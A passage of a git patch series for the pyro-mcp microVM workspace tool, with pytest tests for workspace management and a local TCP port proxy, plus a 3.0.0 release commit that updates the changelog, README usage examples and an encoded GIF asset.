"missing") # noqa: SLF001 + + invalid_source = tmp_path / "seed.txt" + invalid_source.write_text("seed", encoding="utf-8") + + with pytest.raises( + ValueError, + match="seed_path must be a directory or a .tar/.tar.gz/.tgz archive", + ): + manager._prepare_workspace_seed(invalid_source) # noqa: SLF001 + + +def test_workspace_baseline_snapshot_requires_archive(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + baseline_path = tmp_path / "vms" / "workspaces" / workspace_id / "baseline" / "workspace.tar" + baseline_path.unlink() + workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 + + with pytest.raises(RuntimeError, match="baseline snapshot"): + manager._workspace_baseline_snapshot_locked(workspace) # noqa: SLF001 + + +def test_workspace_snapshot_and_service_loaders_handle_invalid_payloads(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = "workspace-invalid" + services_dir = tmp_path / "vms" / "workspaces" / workspace_id / "services" + snapshots_dir = tmp_path / "vms" / "workspaces" / workspace_id / "snapshots" + services_dir.mkdir(parents=True, exist_ok=True) + snapshots_dir.mkdir(parents=True, exist_ok=True) + (services_dir / "svc.json").write_text("[]", encoding="utf-8") + (snapshots_dir / "snap.json").write_text("[]", encoding="utf-8") + + with pytest.raises(RuntimeError, match="service record"): + manager._load_workspace_service_locked(workspace_id, "svc") # noqa: SLF001 + with pytest.raises(RuntimeError, match="snapshot record"): + manager._load_workspace_snapshot_locked(workspace_id, "snap") # noqa: SLF001 + with pytest.raises(RuntimeError, match="snapshot record"): + manager._load_workspace_snapshot_locked_optional(workspace_id, "snap") # noqa: SLF001 + assert manager._load_workspace_snapshot_locked_optional(workspace_id, "missing") is None # noqa: SLF001 + + +def test_workspace_shell_helpers_handle_missing_invalid_and_close_errors( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + + assert manager._list_workspace_shells_locked(workspace_id) == [] # noqa: SLF001 + + shells_dir = tmp_path / "vms" / "workspaces" / workspace_id / "shells" + shells_dir.mkdir(parents=True, exist_ok=True) + (shells_dir / "invalid.json").write_text("[]", encoding="utf-8") + assert manager._list_workspace_shells_locked(workspace_id) == [] # noqa: SLF001 + + shell = vm_manager_module.WorkspaceShellRecord( + workspace_id=workspace_id, + shell_id="shell-1", + cwd="/workspace", + cols=120, + rows=30, + state="running", + started_at=time.time(), + ) + manager._save_workspace_shell_locked(shell) # noqa: SLF001 + workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 + instance = workspace.to_instance( + workdir=tmp_path / "vms" / "workspaces" / workspace_id / "runtime" + ) + + def _raise_close(**kwargs: object) -> dict[str, object]: + del kwargs + raise RuntimeError("shell close boom") + + monkeypatch.setattr(manager._backend, "close_shell", _raise_close) + manager._close_workspace_shells_locked(workspace, instance) # noqa: SLF001 + assert manager._list_workspace_shells_locked(workspace_id) == [] # noqa: SLF001 + + +def test_workspace_refresh_service_helpers_cover_exit_and_started_refresh( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["state"] = "started" + payload["network"] = { + "vm_id": workspace_id, + "tap_name": "tap-test0", + "guest_ip": "172.29.1.2", + "gateway_ip": "172.29.1.1", + "subnet_cidr": "172.29.1.0/30", + "mac_address": "06:00:ac:1d:01:02", + "dns_servers": ["1.1.1.1"], + } + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 + instance = workspace.to_instance( + workdir=tmp_path / "vms" / "workspaces" / workspace_id / "runtime" + ) + + service = vm_manager_module.WorkspaceServiceRecord( + workspace_id=workspace_id, + service_name="web", + command="sleep 60", + cwd="/workspace", + state="running", + started_at=time.time(), + execution_mode="guest_vsock", + published_ports=[ + vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + proxy_pid=9999, + ) + ], + ) + manager._save_workspace_service_locked(service) # noqa: SLF001 + stopped: list[int | None] = [] + monkeypatch.setattr( + vm_manager_module, + "_stop_workspace_published_port_proxy", + lambda published_port: stopped.append(published_port.proxy_pid), + ) + monkeypatch.setattr( + manager._backend, + "status_service", + lambda *args, **kwargs: { + "service_name": "web", + "command": "sleep 60", + "cwd": "/workspace", + "state": "exited", + "started_at": service.started_at, + "ended_at": service.started_at + 1, + "exit_code": 0, + "execution_mode": "guest_vsock", + }, + ) + + refreshed = manager._refresh_workspace_service_locked( # noqa: SLF001 + workspace, + instance, + service, + ) + assert refreshed.state == "exited" + assert refreshed.published_ports == [ + vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + proxy_pid=None, + ) + ] + assert stopped == [9999] + + manager._save_workspace_service_locked(service) # noqa: SLF001 + refreshed_calls: list[str] = [] + monkeypatch.setattr(manager, "_require_workspace_service_support", lambda instance: None) + + def _refresh_services( + workspace: vm_manager_module.WorkspaceRecord, + instance: vm_manager_module.VmInstance, + ) -> list[vm_manager_module.WorkspaceServiceRecord]: + del instance + refreshed_calls.append(workspace.workspace_id) + return [] + + monkeypatch.setattr( + manager, + "_refresh_workspace_services_locked", + _refresh_services, + ) + manager._refresh_workspace_service_counts_locked(workspace) # noqa: SLF001 + assert refreshed_calls == [workspace_id] + + +def test_workspace_start_published_ports_cleans_up_partial_failure( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + allow_host_compat=True, + ) + workspace = manager._load_workspace_locked(str(created["workspace_id"])) # noqa: SLF001 + service = vm_manager_module.WorkspaceServiceRecord( + workspace_id=workspace.workspace_id, + service_name="web", + command="sleep 60", + cwd="/workspace", + state="running", + started_at=time.time(), + execution_mode="guest_vsock", + ) + started_record = vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + proxy_pid=9999, + ) + calls: list[int] = [] + + def _start_proxy(**kwargs: object) -> vm_manager_module.WorkspacePublishedPortRecord: + spec = cast(vm_manager_module.WorkspacePublishedPortSpec, kwargs["spec"]) + if spec.guest_port == 8080: + return started_record + raise RuntimeError("proxy boom") + + monkeypatch.setattr(vm_manager_module, "_start_workspace_published_port_proxy", _start_proxy) + monkeypatch.setattr( + vm_manager_module, + "_stop_workspace_published_port_proxy", + lambda published_port: calls.append(published_port.proxy_pid or -1), + ) + + with pytest.raises(RuntimeError, match="proxy boom"): + manager._start_workspace_service_published_ports( # noqa: SLF001 + workspace=workspace, + service=service, + guest_ip="172.29.1.2", + published_ports=[ + vm_manager_module.WorkspacePublishedPortSpec(guest_port=8080), + vm_manager_module.WorkspacePublishedPortSpec(guest_port=9090), + ], + ) + + assert calls == [9999] + + def test_workspace_service_start_replaces_non_running_record(tmp_path: Path) -> None: manager = VmManager( backend_name="mock", diff --git a/tests/test_workspace_ports.py b/tests/test_workspace_ports.py new file mode 100644 index 0000000..d63cfae --- /dev/null +++ b/tests/test_workspace_ports.py @@ -0,0 +1,289 @@ +from __future__ import annotations + +import json +import selectors +import signal +import socket +import socketserver +import threading +from pathlib import Path +from types import SimpleNamespace +from typing import Any, cast + +import pytest + +from pyro_mcp import workspace_ports + + +class _EchoHandler(socketserver.BaseRequestHandler): + def handle(self) -> None: + data = self.request.recv(65536) + if data: + self.request.sendall(data) + + +def test_workspace_port_proxy_handler_rejects_invalid_server() -> None: + handler = workspace_ports._ProxyHandler.__new__(workspace_ports._ProxyHandler) # noqa: SLF001 + handler.server = cast(Any, object()) + handler.request = object() + + with pytest.raises(RuntimeError, match="proxy server is invalid"): + handler.handle() + + +def test_workspace_port_proxy_handler_ignores_upstream_connect_failure( + monkeypatch: Any, +) -> None: + handler = workspace_ports._ProxyHandler.__new__(workspace_ports._ProxyHandler) # noqa: SLF001 + server = workspace_ports._ProxyServer.__new__(workspace_ports._ProxyServer) # noqa: SLF001 + server.target_address = ("127.0.0.1", 12345) + handler.server = server + handler.request = object() + + def _raise_connect(*args: Any, **kwargs: Any) -> socket.socket: + del args, kwargs + raise OSError("boom") + + monkeypatch.setattr(socket, "create_connection", _raise_connect) + + handler.handle() + + +def test_workspace_port_proxy_forwards_tcp_traffic() -> None: + upstream = socketserver.ThreadingTCPServer( + (workspace_ports.DEFAULT_PUBLISHED_PORT_HOST, 0), + _EchoHandler, + ) + upstream_thread = threading.Thread(target=upstream.serve_forever, daemon=True) + upstream_thread.start() + upstream_host = str(upstream.server_address[0]) + upstream_port = int(upstream.server_address[1]) + proxy = workspace_ports._ProxyServer( # noqa: SLF001 + (workspace_ports.DEFAULT_PUBLISHED_PORT_HOST, 0), + (upstream_host, upstream_port), + ) + proxy_thread = threading.Thread(target=proxy.serve_forever, daemon=True) + proxy_thread.start() + try: + proxy_host = str(proxy.server_address[0]) + proxy_port = int(proxy.server_address[1]) + with socket.create_connection((proxy_host, proxy_port), timeout=5) as client: + client.sendall(b"hello") + received = client.recv(65536) + assert received == b"hello" + finally: + proxy.shutdown() + proxy.server_close() + upstream.shutdown() + upstream.server_close() + + +def test_workspace_ports_main_writes_ready_file( + tmp_path: Path, + monkeypatch: Any, +) -> None: + ready_file = tmp_path / "proxy.ready.json" + signals: list[int] = [] + + class StubProxyServer: + def __init__( + self, + server_address: tuple[str, int], + target_address: tuple[str, int], + ) -> None: + self.server_address = (server_address[0], 18080) + self.target_address = target_address + + def serve_forever(self, poll_interval: float = 0.2) -> None: + assert poll_interval == 0.2 + + def shutdown(self) -> None: + return None + + def server_close(self) -> None: + return None + + monkeypatch.setattr(workspace_ports, "_ProxyServer", StubProxyServer) + monkeypatch.setattr( + signal, + "signal", + lambda signum, handler: signals.append(signum), + ) + + result = workspace_ports.main( + [ + "--listen-host", + "127.0.0.1", + "--listen-port", + "0", + "--target-host", + "172.29.1.2", + "--target-port", + "8080", + "--ready-file", + str(ready_file), + ] + ) + + assert result == 0 + payload = json.loads(ready_file.read_text(encoding="utf-8")) + assert payload == { + "host": "127.0.0.1", + "host_port": 18080, + "protocol": "tcp", + "target_host": "172.29.1.2", + "target_port": 8080, + } + assert signals == [signal.SIGTERM, signal.SIGINT] + + +def test_workspace_ports_main_shutdown_handler_stops_server( + tmp_path: Path, + monkeypatch: Any, +) -> None: + ready_file = tmp_path / "proxy.ready.json" + shutdown_called: list[bool] = [] + handlers: dict[int, Any] = {} + + class StubProxyServer: + def __init__( + self, + server_address: tuple[str, int], + target_address: tuple[str, int], + ) -> None: + self.server_address = server_address + self.target_address = target_address + + def serve_forever(self, poll_interval: float = 0.2) -> None: + handlers[signal.SIGTERM](signal.SIGTERM, None) + assert poll_interval == 0.2 + + def shutdown(self) -> None: + shutdown_called.append(True) + + def server_close(self) -> None: + return None + + class ImmediateThread: + def __init__(self, *, target: Any, daemon: bool) -> None: + self._target = target + assert daemon is True + + def start(self) -> None: + self._target() + + monkeypatch.setattr(workspace_ports, "_ProxyServer", StubProxyServer) + monkeypatch.setattr( + signal, + "signal", + lambda signum, handler: handlers.__setitem__(signum, handler), + ) + monkeypatch.setattr(threading, "Thread", ImmediateThread) + + result = workspace_ports.main( + [ + "--listen-host", + "127.0.0.1", + "--listen-port", + "18080", + "--target-host", + "172.29.1.2", + "--target-port", + "8080", + "--ready-file", + str(ready_file), + ] + ) + + assert result == 0 + assert shutdown_called == [True] + + +def test_workspace_port_proxy_handler_handles_empty_and_invalid_selector_events( + monkeypatch: Any, +) -> None: + source, source_peer = socket.socketpair() + upstream, upstream_peer = socket.socketpair() + source_peer.close() + + class FakeSelector: + def __init__(self) -> None: + self._events = iter( + [ + [], + [(SimpleNamespace(fileobj=object(), data=object()), None)], + [(SimpleNamespace(fileobj=source, data=upstream), None)], + ] + ) + + def register(self, *_args: Any, **_kwargs: Any) -> None: + return None + + def select(self) -> list[tuple[SimpleNamespace, None]]: + return next(self._events) + + def close(self) -> None: + return None + + handler = workspace_ports._ProxyHandler.__new__(workspace_ports._ProxyHandler) # noqa: SLF001 + server = workspace_ports._ProxyServer.__new__(workspace_ports._ProxyServer) # noqa: SLF001 + server.target_address = ("127.0.0.1", 12345) + handler.server = server + handler.request = source + + monkeypatch.setattr(socket, "create_connection", lambda *args, **kwargs: upstream) + monkeypatch.setattr(selectors, "DefaultSelector", FakeSelector) + + try: + handler.handle() + finally: + source.close() + upstream.close() + upstream_peer.close() + + +def test_workspace_port_proxy_handler_handles_recv_and_send_errors( + monkeypatch: Any, +) -> None: + def _run_once(*, close_source: bool) -> None: + source, source_peer = socket.socketpair() + upstream, upstream_peer = socket.socketpair() + if not close_source: + source_peer.sendall(b"hello") + + class FakeSelector: + def register(self, *_args: Any, **_kwargs: Any) -> None: + return None + + def select(self) -> list[tuple[SimpleNamespace, None]]: + if close_source: + source.close() + else: + upstream.close() + return [(SimpleNamespace(fileobj=source, data=upstream), None)] + + def close(self) -> None: + return None + + handler = workspace_ports._ProxyHandler.__new__(workspace_ports._ProxyHandler) # noqa: SLF001 + server = workspace_ports._ProxyServer.__new__(workspace_ports._ProxyServer) # noqa: SLF001 + server.target_address = ("127.0.0.1", 12345) + handler.server = server + handler.request = source + + monkeypatch.setattr(socket, "create_connection", lambda *args, **kwargs: upstream) + monkeypatch.setattr(selectors, "DefaultSelector", FakeSelector) + + try: + handler.handle() + finally: + source_peer.close() + if close_source: + upstream.close() + upstream_peer.close() + else: + source.close() + upstream_peer.close() + + _run_once(close_source=True) + _run_once(close_source=False) diff --git a/uv.lock b/uv.lock index b2d9352..7583706 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "2.9.0" +version = "2.10.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From f2d20ef30a4c2f008df87d954c537d5e66798dd6 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 18:59:09 -0300 Subject: [PATCH 23/49] Promote stable workspace product for 3.0.0 Freeze the current workspace-first surface as the stable 3.0 contract and reposition the landing docs, CLI help, and public contract around the stable workspace path after the one-shot proof. Bump the package and catalog compatibility to 3.0.0, add a dedicated workspace walkthrough tape/GIF, and mark the 3.0.0 roadmap milestone done while keeping runtime capability unchanged in this release. Validation: uv lock; UV_CACHE_DIR=.uv-cache make check; UV_CACHE_DIR=.uv-cache make dist-check; UV_CACHE_DIR=.uv-cache uv build; UV_CACHE_DIR=.uv-cache uvx --from twine twine check dist/*; built-wheel CLI smoke for pyro --help and pyro workspace --help; vhs validate plus rendered workspace-first-run.gif outside the sandbox because vhs crashes when sandboxed. --- CHANGELOG.md | 10 ++ README.md | 49 +++++++-- docs/assets/workspace-first-run.gif | Bin 0 -> 1529357 bytes docs/assets/workspace-first-run.tape | 98 ++++++++++++++++++ docs/first-run.md | 28 ++++- docs/install.md | 37 ++++++- docs/integrations.md | 7 +- docs/public-contract.md | 7 +- docs/roadmap/task-workspace-ga.md | 17 ++- .../3.0.0-stable-workspace-product.md | 2 + pyproject.toml | 4 +- src/pyro_mcp/cli.py | 21 ++-- src/pyro_mcp/vm_environments.py | 4 +- tests/test_cli.py | 11 +- uv.lock | 2 +- 15 files changed, 255 insertions(+), 42 deletions(-) create mode 100644 docs/assets/workspace-first-run.gif create mode 100644 docs/assets/workspace-first-run.tape diff --git a/CHANGELOG.md b/CHANGELOG.md index 3d87f8a..9d204a3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,16 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 3.0.0 + +- Promoted the workspace-first product surface to stable across the CLI, Python SDK, and MCP + server, with `pyro run` retained as the stable one-shot entrypoint. +- Repositioned the main docs, help text, examples, and walkthrough assets around the stable + workspace path: create, sync, exec or shell, services, snapshots/reset, diff/export, and + delete. +- Froze the `3.x` public contract around the current workspace surface without introducing new + runtime capability in this release. + ## 2.10.0 - Replaced the workspace-level boolean network toggle with explicit workspace network policies: diff --git a/README.md b/README.md index fa1c7c6..b0886c1 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,10 @@ # pyro-mcp -`pyro-mcp` runs one-shot commands and repeated workspaces inside ephemeral Firecracker microVMs using curated Linux environments such as `debian:12`. +`pyro-mcp` is a stable agent workspace product for one-shot commands and persistent work inside ephemeral Firecracker microVMs using curated Linux environments such as `debian:12`. [![PyPI version](https://img.shields.io/pypi/v/pyro-mcp.svg)](https://pypi.org/project/pyro-mcp/) -This is for coding agents, MCP clients, and developers who want isolated command execution in ephemeral microVMs. +This is for coding agents, MCP clients, and developers who want isolated command execution and stable disposable workspaces in ephemeral microVMs. It exposes the same runtime in three public forms: @@ -18,9 +18,10 @@ It exposes the same runtime in three public forms: - Vision: [docs/vision.md](docs/vision.md) - Workspace roadmap: [docs/roadmap/task-workspace-ga.md](docs/roadmap/task-workspace-ga.md) - First run transcript: [docs/first-run.md](docs/first-run.md) +- Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 2.10.0: [CHANGELOG.md#2100](CHANGELOG.md#2100) +- What's new in 3.0.0: [CHANGELOG.md#300](CHANGELOG.md#300) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -57,7 +58,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 2.10.0 +Catalog version: 3.0.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -73,6 +74,40 @@ git version ... The first pull downloads an OCI environment from public Docker Hub, requires outbound HTTPS access to `registry-1.docker.io`, and needs local cache space for the guest image. +## Stable Workspace Path + +`pyro run` is the stable one-shot entrypoint. `pyro workspace ...` is the stable path when an +agent needs one sandbox to stay alive across repeated commands, shells, services, checkpoints, +diffs, exports, and reset. + +The commands below use plain `pyro ...`. Run the same flow with `uvx --from pyro-mcp pyro ...` +for the published package, or `uv run pyro ...` from a source checkout. + +```bash +uv tool install pyro-mcp +WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --json | python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])')" +pyro workspace sync push "$WORKSPACE_ID" ./changes +pyro workspace exec "$WORKSPACE_ID" -- cat note.txt +pyro workspace snapshot create "$WORKSPACE_ID" checkpoint +pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' +pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint +pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt +pyro workspace delete "$WORKSPACE_ID" +``` + +![Stable workspace walkthrough](docs/assets/workspace-first-run.gif) + +That stable workspace path gives you: + +- initial host-in seeding with `--seed-path` +- later host-in updates with `workspace sync push` +- one-shot commands with `workspace exec` and persistent PTYs with `workspace shell *` +- long-running processes with `workspace service *` +- explicit checkpoints with `workspace snapshot *` +- full-sandbox recovery with `workspace reset` +- baseline comparison with `workspace diff` +- explicit host-out export with `workspace export` + After the quickstart works: - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` @@ -141,7 +176,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.10.0 +Catalog version: 3.0.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -205,7 +240,7 @@ When you are done evaluating and want to remove stale cached environments, run ` If you prefer a fuller copy-pasteable transcript, see [docs/first-run.md](docs/first-run.md). The walkthrough GIF above was rendered from [docs/assets/first-run.tape](docs/assets/first-run.tape) using [scripts/render_tape.sh](scripts/render_tape.sh). -## Persistent Workspaces +## Stable Workspaces Use `pyro run` for one-shot commands. Use `pyro workspace ...` when you need repeated commands in one workspace without recreating the sandbox every time. @@ -248,7 +283,7 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `2.10.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `3.0.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/assets/workspace-first-run.gif b/docs/assets/workspace-first-run.gif new file mode 100644 index 0000000000000000000000000000000000000000..595a0e6d003a43aec1a0aff78853092f07cce42a GIT binary patch literal 1529357 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 